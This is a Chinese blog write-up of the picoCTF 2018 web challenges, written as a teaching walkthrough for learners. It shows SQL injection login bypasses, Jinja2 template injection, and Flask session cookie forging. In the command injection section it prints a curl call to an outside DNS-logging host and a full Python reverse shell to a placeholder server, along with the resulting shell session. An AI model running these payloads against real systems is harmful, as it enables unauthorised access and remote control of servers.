picoCTF2018 Writeup之Web Exploitation

2023-10-24 23:30

本文主要是介绍picoCTF2018 Writeup之Web Exploitation,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

My New Website

打开发现是个登录界面,随便输入账号密码登陆成功,然后发现cookie里面有个admin字段为false,改为True(一定要大写)

得到flag:picoCTF{l0g1ns_ar3nt_r34l_92020990}

Irish Name Repo

没有任何过滤的注入,直接到/admin登录页面,使用万能密码admin' or '1'='1登录即可

my robots

提示了robots,应该是robots.txt,访问robots.txt,看到了页面:74efc.html

得到flag:picoCTF{th3_w0rld_1s_4_danger0us_pl4c3_3lli0t_74efc}

no login

session里有jwt

解码一下。

和前面那题一样cookie加入admin=1即可。

flag:picoCTF{n0l0g0n_n0_pr0bl3m_26b0181a}

secret Agent

打开题目,点击flag按钮,发现提示:you are not google...

修改UA,先是修改为chrome,发现还是不行,看了一下网上的解答,发现可以修改为Googlebot(google爬虫)。

Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

这里也可以直接利用curl命令:curl -s http://2018shell.picoctf.com:46162/flag --user-agent googlebot | grep pico

Buttons

提示:(1) What's different about the two buttons?

f12查看一下,发现第一个button提交的方式是post,第二个提交方式为get,将第二个提交方式也改为post,得到flag

The Vault

提示我们需要登录,源码为:

<?phpini_set('error_reporting', E_ALL);ini_set('display_errors', 'On');
​include "config.php";$con = new SQLite3($database_file);
​$username = $_POST["username"];$password = $_POST["password"];$debug = $_POST["debug"];$query = "SELECT 1 FROM users WHERE name='$username' AND password='$password'";
​if (intval($debug)) {echo "<pre>";echo "username: ", htmlspecialchars($username), "\n";echo "password: ", htmlspecialchars($password), "\n";echo "SQL query: ", htmlspecialchars($query), "\n";echo "</pre>";}
​//validation check$pattern ="/.*['\"].*OR.*/i";$user_match = preg_match($pattern, $username);$password_match = preg_match($pattern, $username);if($user_match + $password_match > 0)  {echo "<h1>SQLi detected.</h1>";}else {$result = $con->query($query);$row = $result->fetchArray();if ($row) {echo "<h1>Logged in!</h1>";echo "<p>Your flag is: $FLAG</p>";} else {echo "<h1>Login failed.</h1>";}}?>/*
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。
预定义的字符是:& (& 符号)   &amp;
" (双引号)     &quot;,除非设置了 ENT_NOQUOTES
' (单引号)     设置了 ENT_QUOTES 后, &#039; (如果是 ENT_HTML401) ,或者 &apos; (如果是 ENT_XML1、 ENT_XHTML 或 ENT_HTML5)。
< (小于)  &lt;
> (大于)  &gt;
preg_match 函数用于执行一个正则表达式匹配。
int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )
​
搜索 subject 与 pattern 给定的正则表达式的一个匹配。
参数说明:$pattern: 要搜索的模式,字符串形式。$subject: 输入字符串。/i 大小写不敏感
*/

发现只过滤了or,可以使用like注入

like 全局模糊查找文件命名 通过条件通过 like %search%

如果查找的关键字是% 那么就成了 like %%% 就会查找出所有的文件

构造:admin' like '%' --

得到flag:picoCTF{w3lc0m3_t0_th3_vau1t_e4ca2258}

Flaskcards

Question

We found this fishy website for flashcards that we think may be sending secrets. Could you take a look?

Hint

Are there any common vulnerabilities with the backend of the website?

Is there anywhere that filtering doesn't get applied?

The database gets reverted every 2 hours so your session might end unexpectedly. Just make another user

Solution

从题目名字推测网站用的应该是flask框架,根据hint来看应该是SSTI漏洞。

访问http://2018shell1.picoctf.com:23547/{{ 1+1 }},并没有返回特殊的数据,说明网站错误机制应该没有问题,切入点不在这。注册账号并登陆,发现多了Creating cardsListing cards

Creating cards的Question和answer处输入{{1+1}},然后切换到Listing Cards,发现两处都变成了2而不是1。

读取{{ config.items() }},发现secretkey就是flag。

dict_items([('DEBUG', False), ('PREFERRED_URL_SCHEME', 'http'), ('SQLALCHEMY_POOL_TIMEOUT', None), ('JSON_AS_ASCII', True),
('PROPAGATE_EXCEPTIONS', None), ('ENV', 'production'), ('SQLALCHEMY_POOL_RECYCLE', None), ('PERMANENT_SESSION_LIFETIME', datetime.timedelta(31)),
('JSON_SORT_KEYS', True), ('SQLALCHEMY_TRACK_MODIFICATIONS', False), ('SERVER_NAME', None), ('TRAP_BAD_REQUEST_ERRORS', None),
('MAX_COOKIE_SIZE', 4093), ('USE_X_SENDFILE', False), ('EXPLAIN_TEMPLATE_LOADING', False), ('BOOTSTRAP_LOCAL_SUBDOMAIN', None),
('APPLICATION_ROOT', '/'), ('BOOTSTRAP_USE_MINIFIED', True), ('MAX_CONTENT_LENGTH', None), ('BOOTSTRAP_QUERYSTRING_REVVING', True),
('TRAP_HTTP_EXCEPTIONS', False), ('SESSION_COOKIE_PATH', None), ('TESTING', False), ('SQLALCHEMY_COMMIT_ON_TEARDOWN', False),
('PRESERVE_CONTEXT_ON_EXCEPTION', None), ('SQLALCHEMY_POOL_SIZE', None), ('SESSION_COOKIE_HTTPONLY', True), ('SESSION_COOKIE_NAME', 'session'),
('SESSION_COOKIE_SECURE', False), ('JSONIFY_PRETTYPRINT_REGULAR', False), ('TEMPLATES_AUTO_RELOAD', None), ('SESSION_COOKIE_SAMESITE', None),
('JSONIFY_MIMETYPE', 'application/json'), ('SQLALCHEMY_RECORD_QUERIES', None), ('SESSION_COOKIE_DOMAIN', False), ('SEND_FILE_MAX_AGE_DEFAULT', datetime.timedelta(0, 43200)),
('SQLALCHEMY_NATIVE_UNICODE', None), ('SQLALCHEMY_BINDS', None), ('SQLALCHEMY_DATABASE_URI', 'sqlite://'), ('SQLALCHEMY_ECHO', False),
('BOOTSTRAP_SERVE_LOCAL', False), ('BOOTSTRAP_CDN_FORCE_SSL', False),
('SECRET_KEY', 'picoCTF{secret_keys_to_the_kingdom_584f8327}'),
('SESSION_REFRESH_EACH_REQUEST', True), ('SQLALCHEMY_MAX_OVERFLOW', None)])

flag:picoCTF{secret_keys_to_the_kingdom_584f8327}

SSTI:

关于 SSTI,这里给两篇文章:

https://www.xmsec.cc/ssti-and-bypass-sandbox-in-jinja2/

http://www.freebuf.com/articles/web/136118.html http://www.freebuf.com/articles/web/136180.html http://www.freebuf.com/vuls/83999.html

Flaskcards Skeleton key

题目页面和Flaskcard一样,但这题要求作为admin登录,访问/admin得到一段session,需要先创建一个账户登录,然后将session经过处理,再重新发送(这里可以直接将重新发送的链接:链接地址/admin)

.eJwlz01qAzEMQOG7eJ2FLFmynMsMsn5oKbQwk6xK755AD_Dge7_tqDOvj3Z_nM-8teMz2r3ZWmtPNozsDGtqhiwhKFvkaqAwXXnrHouZQACZGIHDFVmKFowu7hNMdaDEtgjaxA5u3N1rAeYW6QDqKWaEWJS4akxy2O3W_DrrePx85ffb03nvCGFMTSozwCHgBZIcNFGGhmB4vbvnlef_xGh_LwaLPko.EFqghw.RXW-tibk62TIrb3YzvD_v3GVE7c

使用解密工具https://github.com/noraj/flask-session-cookie-manager

修改user_id为1得到新session

 

fancy alive monitoring

js检查可以直接忽略,关键看正则过滤。

...
if ($ip) {// super fancy regex check!if (preg_match('/^(([1-9]?[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]).){3}([1-9]?[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])/',$ip)) 
...

正则结尾没有写$,所以ip后面可以插入任意字符。页面没有命令回显,就可以用DNSlog查看命令执行返回的信息。

输入 ip=0.0.0.0;curl 9luhoo.dnslog.cn/whoami`` 发现可以收到回显。

也可以直接反弹shell,更方便。使用python来反弹shell。

ip=0.0.0.0;python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your_vps_ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

在vps上开启nc监听。

~ nc -lvvp 8888
Listening on [0.0.0.0] (family 0, port 8888)
Connection from [18.224.157.204] port 8888 [tcp/*] accepted (family 2, sport 42170)
/bin/dash: 0: can't access tty; job control turned off
$ ls
index.php
index.txt
the-secret-1335-flag.txt
xinet_startup.sh
$ cat the-secret-1335-flag.txt
Here is your flag: picoCTF{n3v3r_trust_a_b0x_d7ad162d}

flag:picoCTF{n3v3r_trust_a_b0x_d7ad162d}

Help me reset2

打开登录界面,发现一个forgot you password的选项,点击后发现可以重置密码,但需要用户名,在主页查看源码,可以发现最后有注释告诉了我们作者id,试着填入,发现出来一个重置问题,f12发现session里有信息,又是flask的session,使用flask的解密工具:

输入答案,重置密码登录得到flag

a simple question

查看源码,发现注释提示源码在answer2.phps

<?phpinclude "config.php";ini_set('error_reporting', E_ALL);ini_set('display_errors', 'On');
​$answer = $_POST["answer"];$debug = $_POST["debug"];$query = "SELECT * FROM answers WHERE answer='$answer'";echo "<pre>";echo "SQL query: ", htmlspecialchars($query), "\n";echo "</pre>";
?>
<?php$con = new SQLite3($database_file);$result = $con->query($query);
​$row = $result->fetchArray();if($answer == $CANARY)  {echo "<h1>Perfect!</h1>";echo "<p>Your flag is: $FLAG</p>";}elseif ($row) {echo "<h1>You are so close.</h1>";} else {echo "<h1>Wrong.</h1>";}
?>

sql盲注

使用sqlmap跑一遍:

虽然跑出来了,但提交过后发现得不到flag。。

 

其余没有的题,我做的时候都挂了。。。。

这篇关于picoCTF2018 Writeup之Web Exploitation的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/278486

相关文章

Java Web指的是什么

Java Web指的是使用Java技术进行Web开发的一种方式。Java在Web开发领域有着广泛的应用,主要通过Java EE(Enterprise Edition)平台来实现。  主要特点和技术包括: 1. Servlets和JSP:     Servlets 是Java编写的服务器端程序,用于处理客户端请求和生成动态网页内容。     JSP(JavaServer Pages)

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

EasyPlayer.js网页H5 Web js播放器能力合集

最近遇到一个需求,要求做一款播放器,发现能力上跟EasyPlayer.js基本一致,满足要求: 需求 功性能 分类 需求描述 功能 预览 分屏模式 单分屏(单屏/全屏) 多分屏(2*2) 多分屏(3*3) 多分屏(4*4) 播放控制 播放(单个或全部) 暂停(暂停时展示最后一帧画面) 停止(单个或全部) 声音控制(开关/音量调节) 主辅码流切换 辅助功能 屏

9.8javaweb项目总结

1.主界面用户信息显示 登录成功后,将用户信息存储在记录在 localStorage中,然后进入界面之前通过js来渲染主界面 存储用户信息 将用户信息渲染在主界面上,并且头像设置跳转,到个人资料界面 这里数据库中还没有设置相关信息 2.模糊查找 检测输入框是否有变更,有的话调用方法,进行查找 发送检测请求,然后接收的时候设置最多显示四个类似的搜索结果

JavaWeb【day09】--(Mybatis)

1. Mybatis基础操作 学习完mybatis入门后,我们继续学习mybatis基础操作。 1.1 需求 需求说明: 根据资料中提供的《tlias智能学习辅助系统》页面原型及需求,完成员工管理的需求开发。 通过分析以上的页面原型和需求,我们确定了功能列表: 查询 根据主键ID查询 条件查询 新增 更新 删除 根据主键ID删除 根据主键ID批量删除

利用Django框架快速构建Web应用:从零到上线

随着互联网的发展,Web应用的需求日益增长,而Django作为一个高级的Python Web框架,以其强大的功能和灵活的架构,成为了众多开发者的选择。本文将指导你如何从零开始使用Django框架构建一个简单的Web应用,并将其部署到线上,让世界看到你的作品。 Django简介 Django是由Adrian Holovaty和Simon Willison于2005年开发的一个开源框架,旨在简

web群集--nginx配置文件location匹配符的优先级顺序详解及验证

文章目录 前言优先级顺序优先级顺序(详解)1. 精确匹配(Exact Match)2. 正则表达式匹配(Regex Match)3. 前缀匹配(Prefix Match) 匹配规则的综合应用验证优先级 前言 location的作用 在 NGINX 中,location 指令用于定义如何处理特定的请求 URI。由于网站往往需要不同的处理方式来适应各种请求,NGINX 提供了多种匹

构建高性能WEB之HTTP首部优化

0x00 前言 在讨论浏览器优化之前,首先我们先分析下从客户端发起一个HTTP请求到用户接收到响应之间,都发生了什么?知己知彼,才能百战不殆。这也是作为一个WEB开发者,为什么一定要深入学习TCP/IP等网络知识。 0x01 到底发生什么了? 当用户发起一个HTTP请求时,首先客户端将与服务端之间建立TCP连接,成功建立连接后,服务端将对请求进行处理,并对客户端做出响应,响应内容一般包括响应

(javaweb)mysql---DDL

一.数据模型,数据库操作 1.二维表:有行有列 2. 3.客户端连接数据库,发送sql语句给DBMS(数据库管理系统),DBMS创建--以文件夹显示 二.表结构操作--创建 database和schema含义一样。 这样就显示出了之前的内容。

云原生之高性能web服务器学习(持续更新中)

高性能web服务器 1 Web服务器的基础介绍1.1 Web服务介绍1.1.1 Apache介绍1.1.2 Nginx-高性能的 Web 服务端 2 Nginx架构与安装2.1 Nginx概述2.1.1 Nginx 功能介绍2.1.2 基础特性2.1.3 Web 服务相关的功能 2.2 Nginx 架构和进程2.2.1 架构2.2.2 Ngnix进程结构 2.3 Nginx 模块介绍2.4